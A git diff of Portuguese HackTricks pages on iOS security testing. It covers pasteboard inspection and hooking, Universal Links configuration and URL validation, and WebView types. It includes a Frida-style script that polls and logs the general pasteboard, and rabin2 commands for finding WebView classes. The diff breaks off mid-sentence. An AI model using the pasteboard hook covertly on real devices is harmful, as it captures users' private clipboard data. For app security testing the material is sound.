||||
|
||||
O **pasteboard geral do sistema** pode ser obtido usando [`generalPasteboard`](https://developer.apple.com/documentation/uikit/uipasteboard/1622106-generalpasteboard?language=objc), procure no código-fonte ou no binário compilado por este método. O uso do pasteboard geral do sistema deve ser evitado ao lidar com dados sensíveis.
|
||||
Detalhes-chave a serem monitorados incluem:
|
||||
- **Nomes** e **conteúdos** do pasteboard (por exemplo, verificando strings, URLs, imagens).
|
||||
- **Número de itens** e **tipos de dados** presentes, aproveitando verificações de tipos de dados padrão e personalizados.
|
||||
- Opções de **expiração e somente local** ao inspecionar o método `setItems:options:`.
|
||||
|
||||
**Pasteboards personalizados** podem ser criados com [`pasteboardWithName:create:`](https://developer.apple.com/documentation/uikit/uipasteboard/1622074-pasteboardwithname?language=objc) ou [`pasteboardWithUniqueName`](https://developer.apple.com/documentation/uikit/uipasteboard/1622087-pasteboardwithuniquename?language=objc). Verifique se os pasteboards personalizados estão configurados para serem persistentes, pois isso está obsoleto desde o iOS 10. Em vez disso, um contêiner compartilhado deve ser usado.
|
||||
Um exemplo de uso de ferramenta de monitoramento é o **monitor de pasteboard do objection**, que verifica o generalPasteboard a cada 5 segundos em busca de alterações e exibe os novos dados.
|
||||
|
||||
## Análise Dinâmica
|
||||
|
||||
Faça hook ou trace nos seguintes itens:
|
||||
|
||||
* `generalPasteboard` para o pasteboard geral do sistema.
|
||||
* `pasteboardWithName:create:` e `pasteboardWithUniqueName` para pasteboards personalizados.
|
||||
|
||||
Você também pode fazer hook ou trace no método obsoleto [`setPersistent:`](https://developer.apple.com/documentation/uikit/uipasteboard/1622096-setpersistent?language=objc) e verificar se ele está sendo chamado.
|
||||
|
||||
Ao **monitorar** os **pasteboards**, há vários **detalhes** que podem ser **recuperados** dinamicamente:
|
||||
|
||||
* Obtenha o **nome do pasteboard** fazendo hook em `pasteboardWithName:create:` e inspecionando seus parâmetros de entrada ou `pasteboardWithUniqueName` e inspecionando seu valor de retorno.
|
||||
* Pegue o **primeiro item disponível no pasteboard**: por exemplo, para strings use o método `string`. Ou use qualquer um dos outros métodos para os [tipos de dados padrão](https://developer.apple.com/documentation/uikit/uipasteboard?language=objc#1654275).
|
||||
* Obtenha o **número de itens** com `numberOfItems`.
|
||||
* Verifique a **existência de tipos de dados padrão** com os [métodos de conveniência](https://developer.apple.com/documentation/uikit/uipasteboard?language=objc#2107142), por exemplo, `hasImages`, `hasStrings`, `hasURLs` (a partir do iOS 10).
|
||||
* Verifique **outros tipos de dados** (tipicamente UTIs) com [`containsPasteboardTypes:inItemSet:`](https://developer.apple.com/documentation/uikit/uipasteboard/1622100-containspasteboardtypes?language=objc). Você pode inspecionar tipos de dados mais concretos, como uma imagem como public.png e public.tiff ([UTIs](http://web.archive.org/web/20190616231857/https://developer.apple.com/documentation/mobilecoreservices/uttype)) ou para dados personalizados como com.mycompany.myapp.mytype. Lembre-se de que, neste caso, apenas os aplicativos que _declaram conhecimento_ do tipo são capazes de entender os dados escritos no pasteboard. Recupere-os usando [`itemSetWithPasteboardTypes:`](https://developer.apple.com/documentation/uikit/uipasteboard/1622071-itemsetwithpasteboardtypes?language=objc) e definindo os UTIs correspondentes.
|
||||
* Verifique itens excluídos ou com expiração fazendo hook em `setItems:options:` e inspecionando suas opções para `UIPasteboardOptionLocalOnly` ou `UIPasteboardOptionExpirationDate`.
|
||||
|
||||
Se estiver procurando apenas por strings, você pode querer usar o comando do **objection** `ios pasteboard monitor`:
|
||||
|
||||
> Faz hook na classe UIPasteboard do iOS e verifica o generalPasteboard a cada 5 segundos em busca de dados. Se novos dados forem encontrados, diferentes da verificação anterior, esses dados serão exibidos na tela.
|
||||
|
||||
Você também pode construir seu próprio monitor de pasteboard que monitora informações específicas como visto acima.
|
||||
|
||||
Por exemplo, este script (inspirado no script por trás do [monitor de pasteboard do objection](https://github.com/sensepost/objection/blob/b39ee53b5ba2e9a271797d2f3931d79c46dccfdb/agent/src/ios/pasteboard.ts)) lê os itens do pasteboard a cada 5 segundos, se houver algo novo, ele imprimirá:
|
||||
```
|
||||
Aqui está um exemplo simples de script JavaScript, inspirado na abordagem do objection, para ler e registrar alterações do pasteboard a cada 5 segundos:
|
||||
```javascript
|
||||
const UIPasteboard = ObjC.classes.UIPasteboard;
|
||||
const Pasteboard = UIPasteboard.generalPasteboard();
|
||||
|
@ -86,22 +69,22 @@ console.log(items);
|
|||
|
||||
}, 1000 * 5);
|
||||
```
|
||||
# Referências
|
||||
|
||||
{% embed url="https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#testing-object-persistence-mstg-platform-8" %}
|
||||
|
||||
## Referências
|
||||
|
||||
* [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#testing-object-persistence-mstg-platform-8](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#testing-object-persistence-mstg-platform-8)
|
||||
* [https://hackmd.io/@robihamanto/owasp-robi](https://hackmd.io/@robihamanto/owasp-robi)
|
||||
* [https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0073/](https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0073/)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Outras formas de apoiar o HackTricks:
|
||||
|
||||
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios do GitHub** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,66 +1,56 @@
|
|||
# Links Universais do iOS
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Outras formas de apoiar o HackTricks:
|
||||
|
||||
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
Links universais permitem **redirecionar usuários diretamente** para o aplicativo sem passar pelo Safari para redirecionamento.\
|
||||
Os links universais são **únicos**, então **não podem ser reivindicados por outros aplicativos** porque usam links HTTP(S) padrão para o **site onde o proprietário carregou um arquivo para garantir que o site e o aplicativo estejam relacionados**.\
|
||||
Como esses links usam esquemas HTTP(S), quando o **aplicativo não está instalado, o Safari abrirá o link** redirecionando os usuários para a página. Isso permite que **aplicativos se comuniquem com o aplicativo mesmo que ele não esteja instalado**.
|
||||
## Introdução
|
||||
|
||||
Para criar links universais é necessário **criar um arquivo JSON chamado `apple-app-site-association`** com os detalhes. Depois, este arquivo precisa ser **hospedado no diretório raiz do seu servidor web** (por exemplo, [https://google.com/apple-app-site-association](https://google.com/apple-app-site-association)).\
|
||||
Para o pentester, este arquivo é muito interessante, pois **revela caminhos**. Ele pode até estar revelando caminhos de lançamentos que ainda não foram publicados.
|
||||
Os links universais oferecem uma experiência de **redirecionamento perfeita** aos usuários, abrindo diretamente o conteúdo no aplicativo, evitando a necessidade de redirecionamento para o Safari. Esses links são **únicos** e seguros, pois não podem ser reivindicados por outros aplicativos. Isso é garantido hospedando um arquivo JSON `apple-app-site-association` no diretório raiz do site, estabelecendo um link verificável entre o site e o aplicativo. Nos casos em que o aplicativo não está instalado, o Safari assume e direciona o usuário para a página da web, mantendo a presença do aplicativo.
|
||||
|
||||
## **Verificando o Entitlement de Domínios Associados**
|
||||
Para testadores de penetração, o arquivo `apple-app-site-association` é de particular interesse, pois pode revelar **caminhos sensíveis**, potencialmente incluindo aqueles relacionados a recursos não lançados.
|
||||
|
||||
No Xcode, vá para a aba **Capabilities** e procure por **Associated Domains**. Você também pode inspecionar o arquivo `.entitlements` procurando por `com.apple.developer.associated-domains`. Cada um dos domínios deve ser prefixado com `applinks:`, como `applinks:www.meusite.com`.
|
||||
### **Analisando a Concessão de Domínios Associados**
|
||||
|
||||
Aqui está um exemplo do arquivo `.entitlements` do Telegram:
|
||||
```markup
|
||||
Os desenvolvedores habilitam os Links Universais configurando os **Domínios Associados** na guia Capacidades do Xcode ou inspecionando o arquivo `.entitlements`. Cada domínio é prefixado com `applinks:`. Por exemplo, a configuração do Telegram pode aparecer da seguinte forma:
|
||||
```xml
|
||||
<key>com.apple.developer.associated-domains</key>
|
||||
<array>
|
||||
<string>applinks:telegram.me</string>
|
||||
<string>applinks:t.me</string>
|
||||
</array>
|
||||
```
|
||||
Informações mais detalhadas podem ser encontradas na [documentação arquivada da Apple Developer](https://developer.apple.com/library/archive/documentation/General/Conceptual/AppSearch/UniversalLinks.html#//apple_ref/doc/uid/TP40016308-CH12-SW2).
|
||||
Para obter insights mais abrangentes, consulte a [Documentação Arquivada do Desenvolvedor da Apple](https://developer.apple.com/library/archive/documentation/General/Conceptual/AppSearch/UniversalLinks.html#//apple_ref/doc/uid/TP40016308-CH12-SW2).
|
||||
|
||||
Se você possui apenas o aplicativo compilado, pode extrair os entitlements seguindo este guia:
|
||||
Se estiver trabalhando com um aplicativo compilado, os direitos podem ser extraídos conforme descrito neste [guia](extracting-entitlements-from-compiled-application.md).
|
||||
|
||||
{% content-ref url="extracting-entitlements-from-compiled-application.md" %}
|
||||
[extracting-entitlements-from-compiled-application.md](extracting-entitlements-from-compiled-application.md)
|
||||
{% endcontent-ref %}
|
||||
### **Recuperando o Arquivo de Associação do Site do Aplicativo da Apple**
|
||||
|
||||
## **Recuperando o Arquivo de Associação de Site da Apple**
|
||||
O arquivo `apple-app-site-association` deve ser recuperado do servidor usando os domínios especificados nos direitos. Certifique-se de que o arquivo seja acessível via HTTPS diretamente em `https://<domínio>/apple-app-site-association`. Ferramentas como o [Validador de Associação de Site de Aplicativo da Apple (AASA)](https://branch.io/resources/aasa-validator/) podem auxiliar nesse processo.
|
||||
|
||||
Tente recuperar o arquivo `apple-app-site-association` do servidor usando os domínios associados que você obteve no passo anterior. Este arquivo precisa estar acessível via HTTPS, sem redirecionamentos, em `https://<domínio>/apple-app-site-association` ou `https://<domínio>/.well-known/apple-app-site-association`.
|
||||
### **Manipulando Links Universais no Aplicativo**
|
||||
|
||||
Você pode recuperá-lo sozinho com seu navegador ou usar o [Validador de Associação de Site da Apple (AASA)](https://branch.io/resources/aasa-validator/).
|
||||
O aplicativo deve implementar métodos específicos para lidar corretamente com links universais. O método principal a ser procurado é [`application:continueUserActivity:restorationHandler:`](https://developer.apple.com/documentation/uikit/uiapplicationdelegate/1623072-application). É crucial que o esquema de URLs manipulados seja HTTP ou HTTPS, pois outros não serão suportados.
|
||||
|
||||
## **Verificando o Método Receptor de Link**
|
||||
#### **Validando o Método do Manipulador de Dados**
|
||||
|
||||
Para receber links e lidar com eles adequadamente, o delegado do aplicativo deve implementar [`application:continueUserActivity:restorationHandler:`](https://developer.apple.com/documentation/uikit/uiapplicationdelegate/1623072-application). Se você tem o projeto original, tente procurar por este método.
|
||||
|
||||
Observe que se o aplicativo usa [`openURL:options:completionHandler:`](https://developer.apple.com/documentation/uikit/uiapplication/1648685-openurl?language=objc) para abrir um link universal para o site do aplicativo, o link não será aberto no aplicativo. Como a chamada se origina do aplicativo, ela não será tratada como um link universal.
|
||||
|
||||
* O esquema da `webpageURL` deve ser HTTP ou HTTPS (qualquer outro esquema deve lançar uma exceção). A [propriedade de instância `scheme`](https://developer.apple.com/documentation/foundation/urlcomponents/1779624-scheme) de `URLComponents` / `NSURLComponents` pode ser usada para verificar isso.
|
||||
|
||||
## **Verificando o Método de Manipulação de Dados**
|
||||
|
||||
Quando o iOS abre um aplicativo como resultado de um link universal, o aplicativo recebe um objeto `NSUserActivity` com um valor `activityType` de `NSUserActivityTypeBrowsingWeb`. A propriedade `webpageURL` do objeto de atividade contém o URL HTTP ou HTTPS que o usuário acessa. O seguinte exemplo em Swift verifica exatamente isso antes de abrir o URL:
|
||||
Quando um link universal abre um aplicativo, um objeto `NSUserActivity` é passado para o aplicativo com o URL. Antes de processar este URL, é essencial validá-lo e sanitizá-lo para evitar riscos de segurança. Aqui está um exemplo em Swift que demonstra o processo:
|
||||
```swift
|
||||
func application(_ application: UIApplication, continue userActivity: NSUserActivity,
|
||||
restorationHandler: @escaping ([UIUserActivityRestoring]?) -> Void) -> Bool {
|
||||
// ...
|
||||
// Check for web browsing activity and valid URL
|
||||
if userActivity.activityType == NSUserActivityTypeBrowsingWeb, let url = userActivity.webpageURL {
|
||||
application.open(url, options: [:], completionHandler: nil)
|
||||
}
|
||||
|
@ -68,9 +58,7 @@ application.open(url, options: [:], completionHandler: nil)
|
|||
return true
|
||||
}
|
||||
```
|
||||
Além disso, lembre-se de que se a URL incluir parâmetros, eles não devem ser confiáveis antes de serem cuidadosamente higienizados e validados (mesmo vindo de domínio confiável). Por exemplo, eles podem ter sido falsificados por um atacante ou podem incluir dados malformados. Se for esse o caso, toda a URL e, portanto, a solicitação de link universal deve ser descartada.
|
||||
|
||||
A API `NSURLComponents` pode ser usada para analisar e manipular os componentes da URL. Isso também pode ser parte do método `application:continueUserActivity:restorationHandler:` em si ou pode ocorrer em um método separado sendo chamado a partir dele. O seguinte [exemplo](https://developer.apple.com/documentation/uikit/core\_app/allowing\_apps\_and\_websites\_to\_link\_to\_your\_content/handling\_universal\_links#3001935) demonstra isso:
|
||||
URLs devem ser cuidadosamente analisados e validados, especialmente se incluírem parâmetros, para se proteger contra possíveis falsificações ou dados malformados. A API `NSURLComponents` é útil para esse fim, como demonstrado abaixo:
|
||||
```swift
|
||||
func application(_ application: UIApplication,
|
||||
continue userActivity: NSUserActivity,
|
||||
|
@ -85,33 +73,31 @@ return false
|
|||
|
||||
if let albumName = params.first(where: { $0.name == "albumname" })?.value,
|
||||
let photoIndex = params.first(where: { $0.name == "index" })?.value {
|
||||
// Interact with album name and photo index
|
||||
// Process the URL with album name and photo index
|
||||
|
||||
return true
|
||||
|
||||
} else {
|
||||
// Handle when album and/or album name or photo index missing
|
||||
// Handle invalid or missing parameters
|
||||
|
||||
return false
|
||||
}
|
||||
}
|
||||
```
|
||||
# Referências
|
||||
|
||||
{% embed url="https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#testing-object-persistence-mstg-platform-8" %}
|
||||
|
||||
Através da **configuração e validação diligentes**, os desenvolvedores podem garantir que os links universais aprimorem a experiência do usuário, mantendo os padrões de segurança e privacidade.
|
||||
|
||||
## Referências
|
||||
* [https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0070/#static-analysis](https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0070/#static-analysis)
|
||||
* [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#testing-object-persistence-mstg-platform-8](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#testing-object-persistence-mstg-platform-8)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Outras formas de apoiar o HackTricks:
|
||||
|
||||
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios do GitHub** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
</details>
|
||||
|
|
|
@ -1,97 +1,81 @@
|
|||
# iOS WebViews
|
||||
# WebViews do iOS
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprenda hacking da AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Outras formas de apoiar o HackTricks:
|
||||
Outras maneiras de apoiar o HackTricks:
|
||||
|
||||
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga**-me no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||
|
||||
</details>
|
||||
|
||||
O código desta página foi extraído [daqui](https://github.com/chame1eon/owasp-mstg/blob/master/Document/0x06h-Testing-Platform-Interaction.md). Verifique a página para mais detalhes.
|
||||
|
||||
|
||||
## Tipos de WebViews
|
||||
|
||||
WebViews são componentes de navegador dentro de aplicativos para exibir **conteúdo web** interativo. Eles podem ser usados para incorporar conteúdo web diretamente na interface do usuário de um aplicativo. iOS WebViews **suportam** execução de **JavaScript** **por padrão**, então injeção de scripts e ataques de Cross-Site Scripting podem afetá-los.
|
||||
WebViews são utilizados em aplicativos para exibir conteúdo da web de forma interativa. Vários tipos de WebViews oferecem diferentes funcionalidades e recursos de segurança para aplicativos iOS. Aqui está uma breve visão geral:
|
||||
|
||||
* [**UIWebView**](https://developer.apple.com/documentation/uikit/uiwebview)**:** UIWebView está obsoleto a partir do iOS 12 e não deve ser usado. **JavaScript não pode ser desativado**.
|
||||
* [**WKWebView**](https://developer.apple.com/documentation/webkit/wkwebview): Esta é a escolha apropriada para estender a funcionalidade do aplicativo, controlando o conteúdo exibido.
|
||||
* **JavaScript** está habilitado por padrão, mas graças à propriedade **`javaScriptEnabled`** do `WKWebView`, ele **pode ser completamente desativado**, prevenindo todos os defeitos de injeção de scripts.
|
||||
* A propriedade **`JavaScriptCanOpenWindowsAutomatically`** pode ser usada para **prevenir** que JavaScript **abra novas janelas**, como pop-ups.
|
||||
* A propriedade **`hasOnlySecureContent`** pode ser usada para verificar se os recursos carregados pelo WebView são obtidos através de conexões criptografadas.
|
||||
* `WKWebView` implementa renderização fora do processo, então **bugs de corrupção de memória não afetarão** o processo principal do aplicativo.
|
||||
* [**SFSafariViewController**](https://developer.apple.com/documentation/safariservices/sfsafariviewcontroller)**:** Deve ser usado para fornecer uma **experiência de visualização web generalizada**. Esses WebViews podem ser facilmente identificados pois têm um layout característico que inclui os seguintes elementos:
|
||||
- **UIWebView**, que não é mais recomendado a partir do iOS 12 devido à falta de suporte para desabilitar **JavaScript**, tornando-o suscetível a injeção de scripts e ataques de **Cross-Site Scripting (XSS)**.
|
||||
|
||||
* Um campo de endereço somente leitura com um indicador de segurança.
|
||||
* Um botão de Ação ("**Compartilhar**").
|
||||
* Um **botão Concluído**, botões de navegação para voltar e avançar, e um botão "Safari" para abrir a página diretamente no Safari.
|
||||
- **WKWebView** é a opção preferida para incorporar conteúdo da web em aplicativos, oferecendo controle aprimorado sobre o conteúdo e recursos de segurança. O **JavaScript** é habilitado por padrão, mas pode ser desativado, se necessário. Ele também suporta recursos para evitar que o JavaScript abra automaticamente janelas e garante que todo o conteúdo seja carregado com segurança. Além disso, a arquitetura do **WKWebView** minimiza o risco de corrupção de memória afetando o processo principal do aplicativo.
|
||||
|
||||
<img src="https://gblobscdn.gitbook.com/assets%2F-LH00RC4WVf3-6Ou4e0l%2F-Lf1APQHyCHdAvoJSvc_%2F-Lf1AQxr7FPsOyPFSGcs%2Fsfsafariviewcontroller.png?alt=media" alt="" data-size="original">
|
||||
- **SFSafariViewController** oferece uma experiência padronizada de navegação na web dentro dos aplicativos, reconhecível por seu layout específico, incluindo um campo de endereço somente leitura, botões de compartilhamento e navegação, e um link direto para abrir o conteúdo no Safari. Ao contrário do **WKWebView**, o **JavaScript** não pode ser desativado no **SFSafariViewController**, que também compartilha cookies e dados com o Safari, mantendo a privacidade do usuário a partir do aplicativo. Ele deve ser exibido de forma proeminente de acordo com as diretrizes da App Store.
|
||||
```objetivec
|
||||
// Example of disabling JavaScript in WKWebView:
|
||||
WKPreferences *preferences = [[WKPreferences alloc] init];
|
||||
preferences.javaScriptEnabled = NO;
|
||||
WKWebViewConfiguration *config = [[WKWebViewConfiguration alloc] init];
|
||||
config.preferences = preferences;
|
||||
WKWebView *webView = [[WKWebView alloc] initWithFrame:CGRectZero configuration:config];
|
||||
```
|
||||
## Resumo da Exploração da Configuração de WebViews
|
||||
|
||||
* **JavaScript não pode ser desativado** no `SFSafariViewController` e esta é uma das razões pelas quais o uso de `WKWebView` é recomendado quando o objetivo é estender a interface do usuário do aplicativo.
|
||||
* `SFSafariViewController` também **compartilha cookies** e outros dados de sites com o **Safari**.
|
||||
* A atividade e interação do usuário com um `SFSafariViewController` **não são visíveis para o aplicativo**, que não pode acessar dados de AutoFill, histórico de navegação ou dados de sites.
|
||||
* De acordo com as Diretrizes de Revisão da App Store, `SFSafariViewController`s **não podem ser ocultados ou obscurecidos por outras visualizações ou camadas**.
|
||||
### **Visão Geral da Análise Estática**
|
||||
|
||||
## Descobrindo Configurações de WebViews
|
||||
No processo de examinar as configurações de **WebViews**, dois tipos principais são focados: **UIWebView** e **WKWebView**. Para identificar essas WebViews dentro de um binário, comandos são utilizados, buscando por referências de classes específicas e métodos de inicialização.
|
||||
|
||||
### Análise Estática
|
||||
|
||||
**UIWebView**
|
||||
- **Identificação da UIWebView**
|
||||
```bash
|
||||
$ rabin2 -zz ./WheresMyBrowser | egrep "UIWebView$"
|
||||
489 0x0002fee9 0x10002fee9 9 10 (5.__TEXT.__cstring) ascii UIWebView
|
||||
896 0x0003c813 0x0003c813 24 25 () ascii @_OBJC_CLASS_$_UIWebView
|
||||
1754 0x00059599 0x00059599 23 24 () ascii _OBJC_CLASS_$_UIWebView
|
||||
```
|
||||
**WKWebView**
|
||||
Este comando ajuda a localizar instâncias de **UIWebView** ao procurar por strings de texto relacionadas a ele no binário.
|
||||
|
||||
- **Identificação do WKWebView**
|
||||
```bash
|
||||
$ rabin2 -zz ./WheresMyBrowser | egrep "WKWebView$"
|
||||
490 0x0002fef3 0x10002fef3 9 10 (5.__TEXT.__cstring) ascii WKWebView
|
||||
625 0x00031670 0x100031670 17 18 (5.__TEXT.__cstring) ascii unwindToWKWebView
|
||||
904 0x0003c960 0x0003c960 24 25 () ascii @_OBJC_CLASS_$_WKWebView
|
||||
1757 0x000595e4 0x000595e4 23 24 () ascii _OBJC_CLASS_$_WKWebView
|
||||
```
|
||||
Alternativamente, você também pode procurar por métodos conhecidos dessas classes WebView. Por exemplo, procure pelo método usado para inicializar um WKWebView ([`init(frame:configuration:)`](https://developer.apple.com/documentation/webkit/wkwebview/1414998-init)):
|
||||
Da mesma forma, para **WKWebView**, este comando pesquisa o binário por strings de texto indicativas de seu uso.
|
||||
|
||||
